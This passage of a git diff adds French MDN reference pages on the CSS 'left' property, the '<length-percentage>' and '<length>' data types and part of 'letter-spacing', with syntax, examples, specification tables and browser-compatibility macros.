+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="justify-content">justify-content</h3>
+
+<p>{{Compat("css.properties.justify-content")}}</p>
+
+<h3 id="column-gap_in_Flex_layout">column-gap in Flex layout</h3>
+
+<p>{{Compat("css.properties.column-gap.flex_context")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{Cssxref("justify-content")}}</li>
+ <li>{{Cssxref("column-gap")}}</li>
+ <li><em><a href="https://www.scottohara.me/blog/2018/05/05/hidden-vs-none.html">Know your ARIA: 'Hidden' vs 'None'</a></em><a href="https://www.scottohara.me/blog/2018/05/05/hidden-vs-none.html"> (en anglais)</a></li>
+ <li><a href="https://webaim.org/techniques/css/invisiblecontent/#techniques">Utiliser le contenu invisible pour les lecteurs d'écran (en anglais)</a></li>
+ <li><a href="https://medium.com/@matuzo/writing-css-with-accessibility-in-mind-8514a0007939">Écrire du CSS sans oublier l'accessibilité (en anglais)</a></li>
+ <li><a href="http://a11y-style-guide.com/style-guide/section-navigation.html#kssref-navigation-pagination">Guide stylistique d'accessibilité : la pagination</a></li>
+</ul>
diff --git a/files/fr/web/css/left/index.html b/files/fr/web/css/left/index.html
new file mode 100644
index 0000000000..e616347698
--- /dev/null
+++ b/files/fr/web/css/left/index.html
@@ -0,0 +1,218 @@
+---
+title: left
+slug: Web/CSS/left
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/left
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>left</code></strong> permet de définir une partie de la position des éléments positionnés. Elle n'a aucun effet pour les éléments non-positionnés.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/left.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour les éléments positionnés de façon absolue (ceux pour lesquels {{cssxref("position")}}<code>: absolute</code> ou <code>position: fixed</code>), elle définit la distance entre le bord gauche de la marge de l'élément et le bord gauche de son bloc englobant (le bloc englobant étant l'ancêtre par rapport auquel l'élément est positionné de façon relative).</p>
+
+<p>Pour les éléments positionnés grâce à {{cssxref("position")}}<code>: relative</code>, c'est le décalage ajouté à gauche de l'élément (qui est donc déplacé vers la droite de sa position normale).</p>
+
+<p>Pour les éléments positionnés grâce à {{cssxref("position")}}<code>: sticky</code>, cette propriété se comportera comme avec <code>relative</code> lorsque l'élément fait partie de la zone d'affichage (<em>viewport</em>) et comme avec <code>fixed</code> lorsque l'élément est en dehors de la zone d'affichage.</p>
+
+<p>Lorsque {{cssxref("position")}}<code>: static</code>, la propriété <code>left</code> n'a aucun effet.</p>
+
+<p>Si les deux propriétés <code>left</code> et {{cssxref("right")}} sont définies et que l'élément ne peut pas s'étendre afin de satisfaire ces contraintes, la position de l'élément est « sur-définie ». Dans ce cas, la valeur <code>left</code> aura la priorité si le conteneur est orienté de gauche à droite (dans ce cas, la valeur calculée de <code>right</code> vaudra <code>-left</code>) et si le conteneur est orienté de droite à gauche, c'est la valeur <code>right</code> qui aura la priorité (auquel cas, la valeur calculée de <code>left</code> vaudra <code>-right</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+left: 3px;
+left: 2.4em;
+
+/* Valeurs proportionnelles à   */
+/* la largeur du bloc englobant */
+/* Type &lt;percentage&gt;            */
+left: 10%;
+
+/* Valeur avec un mot-clé */
+left: auto;
+
+/* Valeurs globales */
+left: inherit;
+left: initial;
+left: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur qui peut être positive, nulle ou négative et qui représente :
+ <ul>
+  <li>La distance au bord gauche du bloc englobant <em>pour les éléments positionnés de façon absolue</em></li>
+  <li>Le décalage vers la gauche qui est appliqué à l'élément par rapport à sa position normale dans le flux <em>pour les éléments positionnés de façon relative</em>.</li>
+ </ul>
+
+ <p>Pour plus d'informations sur les valeurs possibles, voir {{cssxref("&lt;length&gt;")}}.</p>
+ </dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur en pourcentage (type {{cssxref("&lt;percentage&gt;")}} par rapport à la largeur du bloc englobant.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui représente :
+ <ul>
+  <li>Pour les éléments positionnés de façon absolue : la position de l'élément selon la valeur de la propriété {{cssxref("right")}}, on considère <code>width: auto</code> comme une largeur basée sur le contenu.</li>
+  <li>Pour les éléments positionnés de façon relative : le décalage à gauche de l'élément par rapport à sa position initiale selon la valeur de la propriété {{cssxref("right")}}. SI <code>right</code> vaut également <code>auto</code>, il n'y a aucun décalage.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#wrap {
+  width: 700px;
+  margin: 0 auto;
+  background: #5C5C5C;
+}
+
+pre {
+  white-space: pre;
+  white-space: pre-wrap;
+  white-space: pre-line;
+  word-wrap: break-word;
+}
+
+#exemple_1 {
+  width: 200px;
+  height: 200px;
+  position: absolute;
+  left: 20px;
+  top: 20px;
+  background-color: #D8F5FF;
+}
+
+#exemple_2 {
+  width: 200px;
+  height: 200px;
+  position: relative;
+  top: 0;
+  right: 0;
+  background-color: #C1FFDB;
+
+}
+#exemple_3 {
+  width: 600px;
+  height: 400px;
+  position: relative;
+  top: 20px;
+  left: 20px;
+  background-color: #FFD7C2;
+}
+
+#exemple_4 {
+  width:200px;
+  height:200px;
+  position:absolute;
+  bottom:10px;
+  right:20px;
+  background-color:#FFC7E4;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="wrap"&gt;
+  &lt;div id="exemple_1"&gt;
+    &lt;pre&gt;
+      position: absolute;
+      left: 20px;
+      top: 20px;
+    &lt;/pre&gt;
+    &lt;p&gt;Le seul élément englobant pour ce div est la fenêtre principale. Elle se positionne par rapport à elle.&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;div id="exemple_2"&gt;
+    &lt;pre&gt;
+      position: relative;
+      top: 0;
+      right: 0;
+    &lt;/pre&gt;
+    &lt;p&gt;La position est relative par rapport aux voisins.&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;div id="exemple_3"&gt;
+    &lt;pre&gt;
+      float: right;
+      position: relative;
+      top: 20px;
+      left: 20px;
+    &lt;/pre&gt;
+    &lt;p&gt;La position est relative par rapport au div voisin mais on le retire du flux.&lt;/p&gt;
+
+    &lt;div id="exemple_4"&gt;
+      &lt;pre&gt;
+        position: absolute;
+        bottom: 10px;
+        right: 20px;
+      &lt;/pre&gt;
+      &lt;p&gt;La position est absolue à l'intérieur d'un parent positionné de façon relative.&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples',1200,650)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'left')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>left</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning', '#propdef-left', 'left')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Décrit le comportement pour le positionnement adhérent (<em>sticky</em>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-left', 'left')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.left")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("top")}}</li>
+</ul>
diff --git a/files/fr/web/css/length-percentage/index.html b/files/fr/web/css/length-percentage/index.html
new file mode 100644
index 0000000000..9f58f905f2
--- /dev/null
+++ b/files/fr/web/css/length-percentage/index.html
@@ -0,0 +1,55 @@
+---
+title: <length-percentage>
+slug: Web/CSS/length-percentage
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/length-percentage
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;length-percentage&gt;</code></strong> représente une valeur qui peut être une valeur de type {{Cssxref("length")}} ou une valeur de type {{Cssxref("percentage")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Se référer à la documentation des types {{Cssxref("length")}} et {{Cssxref("percentage")}} pour plus de détails sur les syntaxes possibles pour chacun de ces types.</p>
+
+<h2 id="Utilisation_avec_calc()">Utilisation avec <code>calc()</code></h2>
+
+<p>Lorsqu'une valeur de type <code>&lt;length-percentage&gt;</code> peut être utilisée dans une déclaration, cela signifie que le pourcentage sera résolu comme une longueur et qu'il peut alors être utilisé au sein d'une expression {{cssxref("calc", "calc()")}}. Ainsi, toutes les valeurs qui suivent sont acceptables pour la propriété {{Cssxref("width")}} :</p>
+
+<pre class="syntaxbox example-good">width: 200px;
+width: 20%;
+width: calc(100% - 200px);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#mixed-percentages', '&lt;length-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#mixed-percentages', '&lt;length-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition du type <code>&lt;length-percentage&gt;</code>. Ajout de <code>calc()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.length-percentage")}}</p>
diff --git a/files/fr/web/css/length/index.html b/files/fr/web/css/length/index.html
new file mode 100644
index 0000000000..33252fc014
--- /dev/null
+++ b/files/fr/web/css/length/index.html
@@ -0,0 +1,182 @@
+---
+title: <length>
+slug: Web/CSS/length
+tags:
+  - CSS
+  - Reference
+  - Type
+  - Type de donnée
+translation_of: Web/CSS/length
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de données CSS <strong><code>&lt;length&gt;</code></strong> correspond à une mesure de distance.</p>
+
+<p>De nombreuses propriétés CSS utilisent des valeurs de longueurs. Entre autres, on pourra énumérer {{cssxref("width")}}, {{cssxref("margin")}}, {{cssxref("padding")}}, {{cssxref("font-size")}}, {{cssxref("border-width")}}, {{cssxref("text-shadow")}}, …</p>
+
+<p>Pour certaines propriétés, l'utilisation d'une longueur négative est une erreur de syntaxe, pour d'autres, elles sont autorisées.</p>
+
+<p>On notera que bien que les valeurs {{cssxref("&lt;percentage&gt;")}} soient aussi des dimensions CSS et acceptées par certaines propriétés CSS acceptant les valeurs <code>&lt;length&gt;</code>, ce sont bien deux types distincts. Voir {{cssxref("&lt;length-percentage&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une longueur est un nombre (type {{cssxref("&lt;number&gt;")}}) immédiatement suivi d'une unité de longueur (<code>px</code>, <code>em</code>, <code>pc</code>, <code>in</code>, <code>mm</code>…). Comme toutes les dimensions CSS, il n'y aucun espace entre le nombre et l'unité. L'unité est optionnelle pour la valeur nulle.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Certaines propriétés permettent d'utiliser des longueurs négatives alors que d'autres n'acceptent que des valeurs positives.</p>
+</div>
+
+<h3 id="Unités">Unités</h3>
+
+<h4 id="Unités_de_longueur_relatives">Unités de longueur relatives</h4>
+
+<p>Les longueurs relatives permettent d'indiquer une longueur basée sur la taille d'un caractère dans une police donnée, sur la taille de l'élément parent ou sur la taille de la zone d'affichage (<em>viewport</em>). Les unités associées permettent d'indiquer à quelle taille elles se rapportent.</p>
+
+<h5 id="Longueurs_liées_à_la_police">Longueurs liées à la police</h5>
+
+<p>Les unités relatives aux polices de caractères permettent d'obtenir des longueurs basées sur la taille d'un caractère ou la caractéristique de la police utilisée pour l'élément courant ou pour un élément parent.</p>
+
+<dl>
+ <dt><code>cap</code></dt>
+ <dd>Cette unité représente la taille nominale d'une lettre capitale pour la police ({{cssxref("font")}}) de l'élément.</dd>
+ <dt><a name="ch"><code>ch</code></a></dt>
+ <dd>Cette unité représente la largeur du caractère « 0 » (zéro, le caractère Unicode U+0030) dans la police actuelle. Dans les cas où il est impossible ou trop complexe de déterminer la taille du glyphe pour « 0 », on prend l'hypothèse que celui-ci mesure 0.5em de large sur 1em de haut.</dd>
+ <dt><a name="em"><code>em</code></a></dt>
+ <dd>
+ <p>Cette unité représente la {{cssxref("font-size")}} calculée de l'élément. Si utilisée avec la propriété {{cssxref("font-size")}}, elle représente la taille de police <em>héritée</em> de l'élément.</p>
+
+ <div class="note">
+ <p>Cette unité est souvent utilisée pour créer des mises en page s'adaptant à la taille des contenus, qui gardent le <a href="http://24ways.org/2006/compose-to-a-vertical-rhythm/">rythme vertical de la page</a>, même lorsque l'utilisateur change la taille des polices. Les propriétés CSS {{cssxref("line-height")}}, {{cssxref("font-size")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-top")}} ont souvent des dimensions exprimées en <strong>em</strong>.</p>
+ </div>
+ </dd>
+ <dt><a name="ex"><code>ex</code></a></dt>
+ <dd>Cette unité représente la <a href="https://fr.wikipedia.org/wiki/Hauteur_d%27x">hauteur d'x</a> de la {{cssxref("font")}} de l'élément. Il peut s'agir généralement de la hauteur des lettres bas de casse de la police. <code>1ex ≈ 0.5em</code> dans de nombreuses polices.</dd>
+ <dt><code>ic</code></dt>
+ <dd>Cette unité représente la largeur entre le début du caractère “水” (U+6C34) et le début du caractère suivant selon la police utilisée et après que les transformations qui modifient la taille des caractères aient été appliquées.</dd>
+ <dt><code>lh</code></dt>
+ <dd>Cette unité représente la valeur calculée de la propriété {{cssxref("line-height")}}, convertie en longueur absolue, de l'élément sur lequel elle est utilisée.</dd>
+ <dt><a name="rem"><code>rem</code></a></dt>
+ <dd>
+ <p>Cette unité représente la {{cssxref("font-size")}} de l'élément racine (par exemple la taille de la police de l'élément {{HTMLElement("html")}}). Quand utilisée avec {{cssxref("font-size")}} sur l'élément racine, elle représente sa valeur initiale.</p>
+
+ <div class="note">
+ <p>Cette unité est utile pour la création de mises en page s'adaptant à la taille des contenus. Si elle n'est pas supportée par les navigateurs ciblés, ces mises en pages peuvent être réalisées en utilisant l'unité <strong>em</strong>, mais la réalisation est un petit peu plus complexe.</p>
+ </div>
+ </dd>
+ <dt><code>rlh</code></dt>
+ <dd>Cette unité représente la valeur calculée de la propriété {{cssxref("line-height")}} de l'élément racine, convertie en longueur absolue. Lorsque cette unité est utilisée pour les propriétés {{cssxref("font-size")}} ou {{cssxref("line-height")}} de l'élément racine, l'unité <code>rlh</code> fait référence aux valeurs initiales des propriétés.</dd>
+</dl>
+
+<h5 id="Longueurs_liées_au_viewport">Longueurs liées au <em>viewport</em></h5>
+
+<p>Les longueurs liées au <em>viewport</em> définissent une longueur relative à la taille du <em>viewport</em>, qui correspond à la partie visible du document.</p>
+
+<p>Dans un bloc de déclaration {{cssxref("@page")}}, l'utilisation des longueurs liées au <em>viewport</em> sont invalides et la déclaration sera ignorée.</p>
+
+<dl>
+ <dt><code>vb</code></dt>
+ <dd>1 % de la taille du bloc englobant initial selon la direction de bloc (la direction orthogonale au sens d'écriture) de l'élément racine.</dd>
+ <dt><a name="vh"><code>vh</code></a></dt>
+ <dd>1/100<sup>e</sup> de la hauteur du <em>viewport</em>.</dd>
+ <dt><code>vi</code></dt>
+ <dd>1 % de la taille du bloc englobant initial selon la direction en ligne (la direction du sens d'écriture) de l'élément racine.</dd>
+ <dt><a name="vw"><code>vw</code></a></dt>
+ <dd>1/100<sup>e</sup> de la largeur du <em>viewport</em>.</dd>
+ <dt><a name="vmin"><code>vmin</code></a></dt>
+ <dd>1/100<sup>e</sup> du côté le plus petit du <em>viewport</em>.</dd>
+ <dt><a name="vmax"><code>vmax</code></a></dt>
+ <dd>1/100<sup>e</sup> du côté le plus grand du <em>viewport</em>.</dd>
+</dl>
+
+<h4 id="Unités_de_longueur_absolues">Unités de longueur absolues</h4>
+
+<p>Les unités de longueur absolues représentent une mesure physique. Cela est réalisé en faisant correspondre une des unités à une unité physique et en définissant les autres relativement à elle. La correspondance est différente pour les périphériques basse-résolution, tels que les écrans, et pour les périphériques haute-résolution, comme les imprimantes.</p>
+
+<p>Pour les périphériques ayant un faible nombre de points par pouce, l’unité <strong>px</strong> représente le pixel de <em>référence physique</em> et les autres sont définies de façon relative à lui. Ainsi, <code>1in</code> est définit comme <code>96px</code>, ce qui équivaut à <code>72pt</code>. Sur de tels périphériques, cette définition à pour conséquence que la longueur exprimée en pouces (<code>in</code>), centimètres (<code>cm</code>) et millimètres (<code>mm</code>) ne correspondent pas forcément à la longueur de l’unité physique du même nom.</p>
+
+<p>Pour les périphériques ayant un nombre de points par pouce élevé, les pouces (<code>in</code>), centimètres (<code>cm</code>) et millimètres (<code>mm</code>) sont définis comme leur équivalent physique. Par conséquent, l’unité <strong>px</strong> est définie comme étant relavite à eux (1/96 de pouce).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les utilisateurs peuvent augmenter la taille des polices pour des raisons d’accessibilité. Pour permettre des mises en page adaptées quelque soit la taille des polices, utilisez uniquement des unités de longueur quand les caractéristiques physiques du média de sortie sont connues, telles que les images matricielles (bitmap) et sinon, privilégiez les unités relatives telles que <code>em</code> et <code>rem</code> (notamment pour {{cssxref("font-size")}}).</p>
+</div>
+
+<dl>
+ <dt><a name="px"><code>px</code></a></dt>
+ <dd>Pour l'affichage sur écran, correspond typiquement à un pixel de l'affichage. Pour les écrans en haute résolution et les imprimantes, un pixel CSS correspond à plusieurs pixels du périphérique, de sorte que le nombre de pixels par pouce (ppi) reste aux alentours de 96.</dd>
+ <dt><a name="mm"><code>mm</code></a></dt>
+ <dd>Un millimètre. Pour l'affichage sur écran, le nombre de pixels par millimètre est déterminé par l'estimation du système (souvent incorrecte) de la résolution de son affichage.</dd>
+ <dt><code>Q</code>{{experimental_inline}}</dt>
+ <dd>Un quart de millimètre (1/40<sup>e</sup> de centimètre).</dd>
+ <dt><a name="cm"><code>cm</code></a></dt>
+ <dd>Un centimètre (ou 10 millimètres). Pour l'affichage sur écran, le nombre de pixels par centimètre est déterminé par l'estimation du système (souvent incorrecte) de la résolution de son affichage.</dd>
+ <dt><a name="in"><code>in</code></a></dt>
+ <dd>Un pouce (soit 2,54 centimètres). Pour l'affichage sur écran, le nombre de pixels par pouce est déterminé par l'estimation du système (souvent incorrecte) de la résolution de son affichage.</dd>
+ <dt><a name="pt"><code>pt</code></a></dt>
+ <dd>Un point pica (soit 1/72<sup>e</sup> de pouce). Pour l'affichage sur écran, le nombre de pixels par point est déterminé par l'estimation du système (souvent incorrecte) de la résolution de son affichage.</dd>
+ <dt><a name="pc"><code>pc</code></a></dt>
+ <dd>Un pica (soit 12 points, soit 1/6<sup>e</sup> de pouce). Pour l'affichage sur écran, le nombre de pixels par pica est déterminé par l'estimation du système (souvent incorrecte) de la résolution de son affichage.</dd>
+ <dt><code><a name="mozmm">mozmm</a></code> {{non-standard_inline}}, retiré avec Firefox 59</dt>
+ <dd>Une unité expérimentale qui tente de représenter exactement un millimètre, quelque soit la taille ou la résolution de l’affichage. C’est rarement ce que nous voulons, mais peut être utile en particulier pour les terminaux mobiles.</dd>
+</dl>
+
+<h2 id="Unités_CSS_et_points_par_pouce">Unités CSS et points par pouce</h2>
+
+<p class="note">L’unité <code>in</code> ne représente pas un pouce physique de l’écran, mais <code>96px</code>. Celà signifie que quelque soit la densité de pixel réelle de l’écran, elle est supposée correspondre à <code>96dpi</code>. Sur les périphériques dotés d’une plus grande densité de pixel, <code>1in</code> fera moins d’1 pouce physique. De la même manière, <code>mm</code>, <code>cm</code>, et <code>pt</code> ne sont pas des longueurs absolues.</p>
+
+<p>Quelques exemples particuliers :</p>
+
+<ul>
+ <li><code>1in</code> est toujours égal à <code>96px,</code></li>
+ <li><code>3pt</code> est toujours égal à <code>4px</code>,</li>
+ <li><code>25.4mm</code> est toujours égal à <code>96px.</code></li>
+</ul>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Les valeurs du type <code>&lt;length&gt;</code> peuvent être interpolées de manière à rendre les animations possibles. Dans ce cas l'interpolation se fait par des nombres réels à virgule flottante. L'interpolation se fait sur les valeurs calculées. La rapidité de l'interpolation est déterminée par la {{cssxref("timing-function","fonction de temporisation","",1)}} associée à l'animation.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#lengths', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Ajout des unités <code>vi</code>, <code>vb</code>, <code>ic</code>, <code>lh</code> et <code>rlh</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#lengths', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Ajout des unités <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#length-units', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition explicite des unités <code>em</code>, <code>pt</code>, <code>pc</code>, <code>px</code> (la définition était implicite pour CSS1)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#length-units', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale. Définition implicite des unités <code>em</code>, <code>pt</code>, <code>pc</code> et <code>px</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.types.length")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Tutoriel sur les unités et valeurs CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeurs_et_unités_CSS">Référence des unités et valeurs en CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS">Modèle de boîtes CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/letter-spacing/index.html b/files/fr/web/css/letter-spacing/index.html
new file mode 100644
index 0000000000..9a2f305952
--- /dev/null
+++ b/files/fr/web/css/letter-spacing/index.html
@@ -0,0 +1,131 @@
+---
+title: letter-spacing
+slug: Web/CSS/letter-spacing
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/letter-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>letter-spacing</code></strong> définit <a href="https://fr.wikipedia.org/wiki/Interlettre">l'interlettre</a> utilisée pour les caractères qui composent le texte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/letter-spacing.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+letter-spacing: 0.3em;
+letter-spacing: 3px;
+letter-spacing: .3px;
+
+/* Valeur avec mot-clé */
+letter-spacing: normal;
+
+/* Valeurs globales */
+letter-spacing: inherit;
+letter-spacing: initial;
+letter-spacing: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>L'interlettre est dictée par la police utilisée. À la différence de 0, cette valeur permet à l'agent utilisateur de modifier l'espace entre les caractères afin de le justifier.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Cette valeur indique l'espace <strong>ajouté</strong> à l'espace par défaut. Les valeurs peuvent être négatives mais les limites imposées dépendent de l'implémentation du moteur. Les agents utilisateurs ne pourront plus augmenter ou réduire l'interlettre afin de justifier le texte. Pour les différentes unités possibles, se référer à la page {{cssxref("&lt;length&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.premier    { letter-spacing: 0.4em; }
+.deuxieme   { letter-spacing: 1em; }
+.troisieme  { letter-spacing: -0.05em; }
+.quatrieme  { letter-spacing: 6px; }</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="premier"&gt;Et voici l'interlettre&lt;/p&gt;
+&lt;p class="deuxieme"&gt;Et voici l'interlettre&lt;/p&gt;
+&lt;p class="troisieme"&gt;Et voici l'interlettre&lt;/p&gt;
+&lt;p class="quatrieme"&gt;Et voici l'interlettre&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 440, 185)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Utiliser une valeur trop grande (positive ou négative) pour <code>letter-spacing</code> rendra les mots illisibles. Si une valeur positive trop importante est utilisée, les lettres seront trop éloignées les unes des autres et on ne pourra pas distinguer les mots. Si une valeur négative trop faible est employée, les lettres se chevaucheront et on ne pourra pas lire le texte.</p>
+
+<p>L'espacement doit être déterminé au cas par cas car chaque famille de polices utilise des caractères de largeurs différentes. Il n'existe pas de valeur unique qui permette de s'assurer que, quelle que soit la police utilisée, le texte soit lisible.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener"><em>Understanding Success Criterion 1.4.8, W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#letter-spacing-property', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>letter-spacing</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#propdef-letter-spacing', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
